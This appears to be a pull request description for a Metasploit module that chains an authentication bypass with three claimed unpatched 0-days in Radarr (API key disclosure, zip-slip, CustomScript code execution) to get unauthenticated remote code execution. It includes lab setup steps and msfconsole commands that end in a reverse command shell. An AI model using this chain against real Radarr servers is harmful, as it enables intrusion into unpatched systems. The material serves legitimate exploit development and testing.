Add Radarr RCE exploit

[EgeBalci]

Hello 👋

This module chains together 4 vulnerabilities on Radarr to achieve unauthenticated remote code execution. Versions <= 6.3.0.10514 are affected. This RCE chain was reported to the Radarr team; however, no patches are available yet. Three of the following vulnerabilities are currently 0-day, and no CVEs are reserved.

• Authentication Bypass CVE-2026-30975
• Unauthenticated API key disclosure 0-Day
• Zip-slip 0-Day
• Arbitrary Code Execution via CustomScript 0-Day

Testing

For installing the vulnerable version follow the steps below,

1. Download the installation file of the vulnerable software here (Windows installer is the easiest)
2. Follow the installation steps.
3. After completing the setup, the Radarr service should be accessible on port 7878.
4. Browse to http://<host>:7878/, skip/complete the setup wizard, and leave authentication set to None (the default) to reproduce the unauthenticated variant or select DisabledForLocalAddresses option for using the X-Forwarded-For bypass.

Verification

List the steps needed to make sure this thing works

1. Install and start Radarr with default (no-auth) settings.
2. Start msfconsole.
3. Do: use exploit/multi/http/radarr_customscript_rce
4. Do: set RHOSTS [ip]
5. Do: set LHOST [your ip]
6. For a Unix target, do: set target 1
7. For a Unix target, do: set ExecOverwritePath /path/to/existing/executable
8. Do: run
9. You should get a command shell.